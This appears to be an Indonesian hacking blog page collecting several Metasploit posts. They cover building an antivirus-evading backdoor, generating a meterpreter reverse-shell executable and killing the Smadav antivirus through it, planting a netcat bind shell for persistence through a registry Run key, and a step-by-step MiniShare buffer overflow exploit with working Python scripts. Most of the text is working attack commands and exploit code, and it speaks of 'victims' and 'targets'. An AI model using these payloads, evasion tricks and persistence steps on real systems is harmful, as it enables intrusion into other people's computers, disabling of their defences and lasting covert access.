Warung Bebas
Showing posts with label Metasploit. Show all posts
Showing posts with label Metasploit. Show all posts

Thursday, April 26, 2012

Cara Membuat Undetectable Backdoor

Mat datang semuanya....^_^
mumpung lagi liburan n lagi galau juga, mending ngeshare tutorial ja..

kali ni ku bahas tentang Cara membuat backdoor yang ngak kedetek ma antivirus..pengen tau kan ^_^


Gimana cara bikinnya?

pertama, Klik disini untuk download scriptnya. simpan di directorynya metasploit ok!
Kalaw diBacktrack 5 R2 directory disini: /opt/metasploit/msf3/
skarang, skarang kita akan mengexekusi skrip tadi dengan comment: chmod +x crypter.py
  jangan lupa install mingw libraries:
apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils
ok, silahkan dicoba! isi pilihan-pilihan untuk membuat backdoornya!

scriptnya bakalan jalan sesuai dengan apa yang kamu kehendaki ^_^ .

setelah itu, kita tinggal tunggu deh si target ngeexecute sell kita


ni dianalisis sama novirusthanks :


Ni video dri empunya:


Hope you guys enjoyed n buat yang punya ide lain,comment ja!

Wednesday, April 18, 2012

metasploits vs smadav

Exploitasi memang meresahkan, apalagi yang namanya payload. Bicara masalah payload nih, payload itu sebuah shell code yang terbungkus amplop (esktensi) yang mampu melakukan eksploitasi system. Cara ampuh untuk mencegah kejadian exploitation adalah dengan menggunakan antivirus.  

Pada kesempatan ini, saya akan mencoba mengetes seberapa baik Smadav (Anti Virus Lokal) bekerja. Ini adalah pride fighting (pertarungan harga diri)



Tidak perlu ada preparation ya? Karena ini hanya testing. Kalo mau mencoba sendiri silahkan. =)

Di dini saya memiliki VMware sebagai virtual machine saya untuk mengetest seberapa jauh kehebatan smadav dalam bekerja. MEngapa saya menggunakan VMware? Karena VMware dapat melakukan copy-paste dari host ke VMware dengan metode drag and drop. Tidak seperti Virtual Box. Hal ini mempermudah saya untuk mengirimkan file exploit ke target untuk selanjutnya di scan oleh antivirus setempat (smadav).

Dimulai dari membuat file exploit dengan perintah

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.234 LPORT=4444 X > /root/Desktop/exploit.exe

Saya taruh di desktop supaya mudah drag and drop nya =D
Kemudian menaruh file exploit ke komputer target. Dan saya scan file tersebut dengan smadav. Antivirus yang baik mampu membaca file tersebut sebagai virus, mengingat file ini berfungsi layaknya virus trojan horse.

Hasilnya mngejutkan.


Smadav tidak dapat membaca file tersebut sebagai virus. Padahal smadav sudah saya update!!!

Lalu apa yang terjadi jika saya jalankan file ini?
Sebelumnya saya telah menyiapkan exploit multi/handler dengan perintah

msf > use exploit/multi/handler 
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 10.21.0.234 
LHOST => 10.21.0.234
msf  exploit(handler) > set LPORT 4444 
LPORT => 4444
msf  exploit(handler) > exploit -j

Pada msfconsole

Dan setelah file exploit.exe di run, ini yang akan terjadi


Batapa berbahayanya jika ini terjadi. Anda bisa melihat post sebelumnya tentang messing with meterpreter pada blog ini.

Contoh, saya akan mencoba mengakhiri proses smadav
meterpreter > ps

Process list
============

 PID   Name               Arch  Session  User                           Path
 ---   ----               ----  -------  ----                           ----
 0     [System Process]                                                 
 1016  svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 1076  svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 1124  TPAutoConnSvc.exe  x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 1128  svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 1420  spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
 1444  alg.exe            x86   0                                       C:\WINDOWS\System32\alg.exe
 1564  exploit.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\Documents and Settings\Administrator\Desktop\exploit.exe
 1584  explorer.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\Explorer.EXE
 1676  VMwareTray.exe     x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 1684  vmtoolsd.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1692  rundll32.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\rundll32.exe
 1700  SM?RTP.exe         x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\Smadav\SM?RTP.exe
 1940  svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 1972  TPAutoConnect.exe  x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 316   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 4     System             x86   0                                       
 536   wuauclt.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\wuauclt.exe
 560   smss.exe           x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
 608   csrss.exe          x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
 632   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
 676   services.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
 688   lsass.exe          x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
 844   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 860   svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
 924   svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 984   wscntfy.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\wscntfy.exe

meterpreter > kill 1700
Killing: 1700
meterpreter > 

Perhatikan tray icon pada windows!!!

Sebelum


Sesudah [SMADAV telah TERBUNUH oleh meterpreter]



Jadi apa kesimpulannya?

Anda sendiri yang menentukan.

Mempertahankan akses dengan NETCAT BACKDOORING

Kali ini mari kita bahas tentang backdooring dengan netcat !! pasti dah pada tau tools yg satu ini !!
btw maaf banged yahh klo repost !! didelete aja deh klo repost !!

oke judulnya kan mempertahankan akses. Klo mendapatkan akses kan udah banyak di paparkan di forum ini misalnya dengan metasploit + meterpretter !! contohnya yg baru2 ini thread dari om zee yang ganteng, tentang java applet attack. N saya juga menggunakan cara itu untuk mendapatkan akses ke victim nya !!!

pada saat kita telah mendapatkan akses ! Apakah itu melalui backdooring + meterpreter reverse, atau dengan web jacking, apakah kita harus terus menerus menunggu victim mengeksekusi backdoor kita atau mem-browse IP Address kita melalui browser ? Sementara kita bisa membuat victim dalam mode listening terus menerus sejak komputernya aktif ! Dan itu lah yg akan kita coba lakukan !! OK, setelah om2 semua mendapatkan akses dengan meterpreter,

http://i51.tinypic.com/2ujp9hd.jpg



kita upload dulu netcatnya !!

Code:
upload /pentest/windows-binaries/tools/nc.exe C:\\Windows\\system32\\

http://i53.tinypic.com/2dcik53.jpg



ok netcat nya berhasil di upload .. sedikit tentang netcat, untuk mebuat dia menjadi mode listenning maka commandnya adalah

nc -L -p [port] -d -e cmd.exe >> untuk server window$
nc -L -p [port] -d -e /bin/bash >> untuk server linux

untuk mengaksesnya bisa dengan perintah
nc -v [IP Tujuan] [port]

oke sekarang kita harus membuat agar perintah itu dieksekusi pada saat komputer start up !! victim saya adalah mesin windows XP, dan pada windows XP untuk mengeset program2 yg berjalan pada saat start up maka kita bisa mengakses regedit pada alamat berikut

HKLM/Software/Microsoft/Windows/CurrentVersion/run

jadi perintahnya seperti ini

meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v system -d 'C:\Windows\System32\nc.exe -L -p 4444 -d -e cmd.exe'

jika sukses maka yg tampil adalah Successful set system.
Jadi dengan perintah diatas saya mencoba menambah sebuah value pada registry windows dengan nama system dengan nilai data 'C:\Windows\System32\nc.exe -L -p 4444 -d -e cmd.exe' .
Jadi walaupun session meterpreter tidak tercipta tapi victim telah dalam mode listenning !!
sekarang coba kita akses dengan netcat client kita dan juga via telnet !!

http://i53.tinypic.com/262mvqe.jpg


OK got it !! moga bisa nambah2 !!
monggo ditambahkan trik2 lain dengan netcat !!! 

From Bug to 0day Level-1

ni adalah hari spesial bagi HN-Community. Karena hari ini telah di-post sebuah tutorial pentesting system pertama di Indonesia. Jika tidak percaya, carilah tutorial mengenai From bug to 0day yang berbahasa indonesia, dan yang memiliki screenshoot seperti yang dibuat di dalam forum ini. Materi ini sebenarnya telah diajarkan oleh Mati Aharoni, pemimpin Offensive Security, yang sekaligus menjadi pencipta Back|track. Saat itu Mati Aharoni mencoba mengeksploitasi system melalu program NNM Ovas. Namun kali ini saya akan mencoba metode yang sama, namun dengan program yang berbeda, yaitu MiniShare. Biasanya anda harus mengikuti training Offsec atau DefCon untuk mendapat materi ini, dan tentu saja tidak gratis. Namun hari ini, saya berikan tutorial ini kepada anda.


Requirements:

Back|Track:

  • Perl interpreter
  • Python interpreter
  • Metasploit 3.x
  • Text Editor
  • Netcat
  • VM-Ware
  • OS Windows-XP SP 2
  • OllyDbg 1.10
  • MiniShare 1.4.1

IP address saya: 172.16.10.1
IP target: 172.16.10.128
Port target: 80


Walkthrough:

Pastikan kedua mesin bisa saling berinteraksi dengan perintah ping

1. Install MiniShare 1.4.1
2. Attach minishare.exe ke dalam OllyDbg

Buka File - Open - C:\Program Files\MiniShare\minishare.exe

3. Memicu Vulnerablity

Sekarang kita telah memiliki minishare dalam ollydbg, kita harus tau bagaimana cara memicu vulnerability program minishare, sehingga kita dapat menganalisa untuk mengembangkan exploit kita.

Dengan mengecek keamanan vulnerability, dan memperhatikan exploit yang ada, kita dapat melihat bahwa vulnerability terpicu dengan mengirim permintaan GET dengan kapasitas yang sangat besar ke dalam system.

Kita dapat mencari tau standar format sebuah HTTP get request dengan mengecek dokumen HTTP RFC, atau mengambil paket dari beberapa web browser. Namun pada dasarnya, sebuah GET request mengandung URI yang diterima oleh web server, diikuti dengan versi protokol HTTP, diikuti dengan header lainnya, dan diakhiri dengan dua garis baru.

Melakukan sebuah packet capture dari sebuah request menuju http://www.google.com, menunjukan bahwa request dimulai dengan "GET / HTTP/1.1/" kemudian mengandung nomer dari header lainnya, dan diakhiri dengan dua garis baru.

Kita bisa mencoba dan membuat kembali overflow dengan mengirim perintah ini kepada server yang vulnerable:

Code:
"GET [panjang string dari karakter A] HTTP/1.1[new_line, carriage_return x 2]"

Kita bisa mengirim ini menggunakan script python. Dalam script python, "\x41" adalah nilai heksadesimal dari ASCII karakter "A", dan "\r\n\" adalah baris baru. Kamu harus mengganti variabel target_address untuk memuat alamat target. Simpan file ini dengan nama 0day.py, kemudian ubah execution permision dengan perintah "cmhod +x 0day.py". Python merupakan bahasa pemrograman yang sensitif, jadi pastikan kamu tidak membuat kesalahan saat penulisan script.

Spoiler! : 
Quote:#!/usr/bin/python
import socket


target_address="172.16.10.128"
target_port=80


buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"


sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Catatan: ubah target_address sesuai dengan IP Windows XP dalam VM-Ware anda. Dan biarkan port tetap bernilai 80.

Kembali lagi ke OllyDbg. Setelah meng-attach minishare, jalankan program tersebut dengan memilih "run" pada "debug" menu. Perhatikan. EIP pada Register kolom adalah 7C90EB94. Jalankan script 0day.py dengan perintah:

Code:
root@red-dragon:~# ./0day.py
atau
Code:
root@red-dragon:~# python 0day.py

Dan perhatikan kembali EIP pada OllyDbg, sekarang EIP telah berubah menjadi 41414141 dan program mengalami crash system. Berhasil, kita sudah membuat vulnerability minishare terpicu.


4. Mengambil alih Crash System

Sedikit penjelasan mengenai EIP register akan saya jelaskan di sini. CPU memutuskan, mana instruksi yang dieksekusi selanjutnya dengan membaca nilai dari sebuah EIP register, dan mengeksekusi instruksi yang berlokasi pada alamat memory. Sebagai contoh, jika EIP register memuat alamat 0x77daaf0a, dan alamat memory tersebut menyimpan kode \xff\xe4 (dimana pada opcode bahasa mesin untuk assembly instruksi berarti JMP ESP) kemudian CPU akan mengeksekusi instruksi tersebut, menyebabkan "jump" eksekusi ke memory yang berlokasi di dalam alamat memory yang diberikan referensi oleh ESP register. Jadi, jika ESP register memuat nilai 0x01423908, sebuah JMP ESP instruksi akan dieksekusi, yang menyebabkan EIP di set menjadi 0x01423908, dan apapun instruksi bahasa mesin yang berlokasi pada alamat memory 0x01423908 akan dieksekusi selanjutnya.

Secara konsekuan, untuk menghubungkan kembali eksekusi pada exploit kita, kita harus meng-overwrite EIP register dengan lokasi memory yang mengandung sebuah instruksi dalam bahasa mesin yang akan menunjuk EIP register ke sebuah area yang bisa kita tempati sebagai tempat menaruh kode exploit kita. Tempat yang paling berharga untuk menaruh kode exploit kita adalah di dalam buffer data yang sama, yang sebelumnya telah kita picu exception-nya yang mengakibatkan buffer overflow.

Kita tidak tau pasti alamat dari lokasi memory yang dapat kita kontrol saat proses buffer overflow terjadi, namun kita tau dari mengecek nilai register pada waktu yang sama, yang ditunjuk oleh register EIP ke lokasi di dalam buffer ini. Secara konsekuen, jika kita bisa menuju kembali kode eksekusi ke lokasi memory yang di-suggest oleh ESP, dan jika kita tempatkan instruksi bahasa mesin kita ke dalam lokasi buffer yang ditunjuk oleh ESP, kita dapat meng-eksploitasi aplikasi untuk menjalankan code exploit kita.

5. Menemukan Instruksi JMP ESP

Pada tahap sebelumnya, kejadian crash ini menyebabkan alamat EIP di-overwrite dengan lokasi memory yang memuat instruksi bahasa mesin yang dikenal yang akan menunjuk kode ke dalam buffer kita. Sejak register ESP menunjuk ke dalam buffer kita saat kejadian crash, JMP ESP perintah didiskusikan lebih awal oleh system yang memperbesar peluang buffer overflow.

Jadi bagaimana kita menemukan instruksi JMP ESP yang berdiam di dalam lokasi yang dapat diprediksi di dalam memori yang kita gunakan? Yaaa, ada beberapa cara untuk mencapainya, namun saya memilih metode ini melalui debugger.

Pertama-tama, buka menu "View" di dalam OllyDbg, dan pilih Executeable Modules. Setelah memilih Executealbe Modules, maka akan ekluarjendela baru yang menampilkan semua modul yang dapat dieksesuki yang tersimpan, yang dimiliki oleh proses ini. Untuk minishare, kita dapat melihat minishexe pada daftar teratas, dan kemudian sebuah nomer dari Windows DLL yang telah dimuat oleh minishare untuk melayani fungsi tambahan yang dibutuhkan. Kita dapat mencari di dalam modul-modul ini untuk mencari instruksi JMP ESP yang kita butuhkan.

Catatan: Sebaiknya saya memberi beberapa informasi sebelum kita melagkah lebih jauh. Saya membuat exploit ini untuk Windows XP SP2. Windows XP tidak memiliki pengamanan untuk mengatur ulang secara acak setiap lokasi pangkalan system dimana setiap DLL dimuat. Jadi setiap aplikasi ini berjalan, setiap DLL akan dimuat kedalam memory yang sama persis dengan alamat memory saat dimulainya system. Ini berarti, instruksi yang bertempat di dalam DLL itu juga akan sama dengan alamat ketika program berjalan. Windows Vista dan Windows 7 mengimplementasikan sebuah pengamanan yang disebut ASLR dimana hasil dari sebuah DLL (khususnya Windows System DLL) akan dimuat ke pangkalan lokasi secara acak. Hal ini berarti instruksi yang berada dalam DLL tersebut memiliki alamat yang berbeda setelah system melakukan restarting. Jadi saya sarankan untuk mengikuti pelajaran ini dengan menggunakan Windows XP SP2.

Tambahan untuk fakta kecil mengenai ASLR ini, setiap Service Pack, layout dari sebuah system DLL akan berubah, dan bahasa yang berbeda dari sebuah OS Windows, juga memiliki struktur DLL yang berbeda-beda. Ini berarti, jika kamu menggunakan Service Pack dan Bahasa yang berbeda dalam tutorial ini, maka kamu akan menemukan beberapa perbedaan dari sebuah alamat memori yang tertera dalam kolom OllyDbg. Berfokuslah pada apa yang telah anda temukan bukan mengcopy hasil address yang saya temukan.

Sekarang saatnya memeperhatikan daftar executeable modul milik kita dalam OllyDbg. kita bisa mengambil hampir setiap entri-entri inin untuk menemukan alamat JMP ESP, bagaimanapun juga, ada beberapa hal yang sebaiknya dipertimbangkan sebelum memilih. Pertama, kita harus menghindari setiap alamat yang mengandung 0 byte \x00. Karakter ini menjadi pertimbangan dalam sebuah string terminator dalam bahasa pemrograman C. Dan biasanya memiliki efek untuk menghancurkan exploit ketika exploit disertai dengan buffer. Untuk beberapa alasan, kita juga harus menghindari line feed dan carriage return karakter seperti \x0a dan \x0d. Ini berarti, menggunakan alamat apapun dari minishare.exe berarti mustahil menjalankan exploit, karena semua alamat executeable modul ini mengandung 0 byte (base address = 0x00400000). Jadi lebih baik jika kita menggunakan DLL yang datang bersama aplikasi itu sendiri, karena alamat-alamat ini tidak berubah walau dengan OS yang memiliki Service Pack, dan Bahasa yang berbeda. Hal ini dapat memberi peluang pada exploit untuk bergerak lebih bebas di dalam system. Karena tidak adanya tambahan DLL seperti minishare, kita harus memecahkan mana Windows DLL yang termuat yang akan kita gunakan? Pada kali ini saya mengambil "major" DLL yang sedikit berubah pada hasil hotfixes. Saya juga menggunakan shell32.dll atau user32.dll. Mari kita cari shell32.dll lebih dulu.

Klik kanan pada entri shell32.dll dalam jendela Executeable Modules, dan pilih View Code in CPU.

Kemudian klik kanan pada CPU are (yang menunjukan code untuk shell32.dll module - cek teks sesudah "module" di tittle bar untuk meyakinkan bahwa ini adalah dll yang sudah kita pilih sebelumnya) kemudain pilih search -> Command atau tekan ctrl+f.

Dalam box Find Command. ketik JMP ESP, dan pilih Find.

Dalam system saya, saya menemukan perintah JMP ESP yang berletak pada alamat memory 0x7CA58265 dari shell32.dll


Alamat ini terlihat bebas dari karakter buruk seperti \x00 \x0a dan \x0d, jadi kita bisa menggunakan alamat ini untuk meng-overwrite EIP. Jika alamat pertama terliah mengandung karakter buruk, kamu bisa mencari alamat lain dengan menekan tombol CRTL+L.

6. Menemukan Offsets di dalam Buffer

Sekaran kita sudah memiliki alamat yang akan kita gunakan untuk meng-overwrite EIP. Kita harus menemukan lokasi pasti dimana EIP akan di-overwrite oleh buffer kita. Sehingga kita bisa menyusun buffer yang akan kita kirim ke dalam system. Kita juga harus menemukan lokasi di dalam buffer dimana ESP regiter akan menunjuk, jadi kita bisa menempatkan kode bahasa mesin kita di sana.

Untuk melakukan ini, kita bisa menggunakan tool yang didistribusikan oleh Metasploit Framework yang bernama pattern_create.rb. Tool ini membuat pattern yang unik dengan panjang pattern yang spesifik, dimana bisa disisipkan kedalam buffer untuk mengirimkan exploit kita ke dalam system yang vulnerable, dimana overwrite akan terjadi. Saya akan mencoba meregenerasi sebuah string, dan menaruhnya kedalam kerangka exploit.

Code:
root@red-dragon:~# cd /pentest/exploits/framework/tools/
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_create.rb 2220


Catatan:
Kamu harus mengkopi semua output yang dihasilkan oleh pattern_create.rb dan paste ke dalam 0day.py script kita.

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac​6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A​f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9​Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak​6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A​n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9​Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As​6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A​v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9​Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba​6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B​d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9​Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi​6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B​l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9​Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq​6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B​t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9​Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By​6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C​b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9​Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg​6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C​j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9​Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co​6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C​r3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9​Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Sekarang kita kembali ke OllyDbg, pilih debug, kemudian pilih restart. Dan tekan tombol Play atau F9 untuk menjalankan minishare. Kemudian kita jalankan kembali 0day.py kita. Hal restart ini harus dilakukan setiap kita hendak memicu vulnerability dari sebuah program.



Bisa kita lihat, sekarang EIP menunjuk ke 36684335 dan ESP menunjuk ke"Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck​3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9C​n0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4"

Mari kita buat kembali pattern dengan tools pattern_create.rb
Code:
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb 36684335
hasil = 1787
Code:
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb Ch7C
hasil = 1791


Kemudian ubah 0day.py kita menjadi:

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41"
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer))
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Restart kembali, lalu jalankan minishare di dalam debugger OllyDbg. Kemudian jalankan kembali script 0day kita. Sekarang EIP menunjuk ke 41414141, dan ESP menunjuk ke 01343908.


Sekarang kita tau dimana letak offsets yang kita butuhkan untuk meng-overwrite EIP dengan sebuah alamat pilihan kita, jadi kita bisa melanjutkan untuk menambahkan data yang benar ke dalam buffer kita.

7. Memodifikasi Exploit untuk mendapat kode eksekusi

Pertama, kita harus menggunakan alamat JMP ESP yang telah kita dapat sebelumnya untuk meng-overwrite EIP.

Sekarang, saya akan memberikan trik untuk melakukan ini. Pada dasarnya, LEO (Littel Endian Order) itu adalah jumlah byte yang ditempatkan dalam posisi paling kiri pada sebuah register. Untuk mendapat alamat dari 7CA58265 dalam sebuah EIP, kita harus memesan byte kembali untuk ditempatkan ke byte pertama. Alamat 7CA58265 dibuat dari 4 byte, yaitu 7C, A5, 82 dan 65, dimana tiap byte diwakili dengan 2 karakte heksadesimal. Untuk mendapat nilai ini dari dalam stack (dimana buffer overflow terjadi) kedalam register EIP, kita harus memesan byte 65, 82, A5 dan 7C atau 6582A57C.

Mari tulis ini ke dalam exploit kita, ingat bahwa alamat JMP ESP kamu mungkin berbeda dengan alamat JMP ESP yang saya temukan. Jadi gunakan apa yang anda dapat untuk mencapai kebehasilan exploitasi ini.

Alamat JMP ESP saya = 0x7CA58265

maka

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP menunjuk ke sini.
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Restart mini share, dan jalankan kembali. Sebelum kita mengirimkan 0day.py milik kita, kita akan mengatur sebuah breakpoint pada alamat yang akan di-overwrite oleh kita, untuk memastikan bahwa eksekusi tertuju dengan benar. Pada sisi atas kiri dari jendela CPU, klik kanan dan pilih Go to->Expression. Di dalam jendela tersebut, masukan alamat dari instruksi JMP ESP milik kamu, (dalam tutorial ini saya mendapat alamat JMP ESP 7CA58265), dan klik OK. Kemudian dengan JMP ESP yang di highlight, tekan F2 untuk membuat breakpoint. Alamat pada jendela CPU untuk instruksi yang serupa akan menjadi berwarna merah. Yang akan mengindikasikan bahwa breakpoint telah diatur. Breakpoint pada dasarnya menghentikan eksekusi dari sebuah program dalam debugger ketika kita mencapai point yang serupa di dalam kode, dan itu akan memastikan kita bahwa JMP kita telah terjadi tanpa membiarkan kode kita terus berjalan.

Setelah kita mengirimkan 0day.py milik kita, system crash dan akan terpicu dan eksekusi akan berhenti pada breakpoint yang telah kamu tetapkan. Sekarang tekan F7, eksekusi akan "menuju" ke tempat pertama dari alamat \xcc dari buffer yang telah kita kirim. Jika ini tidak terjadi, cek kembali exploitmu, dan pastifkan offset kamu benar.


8. Menambahkan shellcode ke dalam exploit
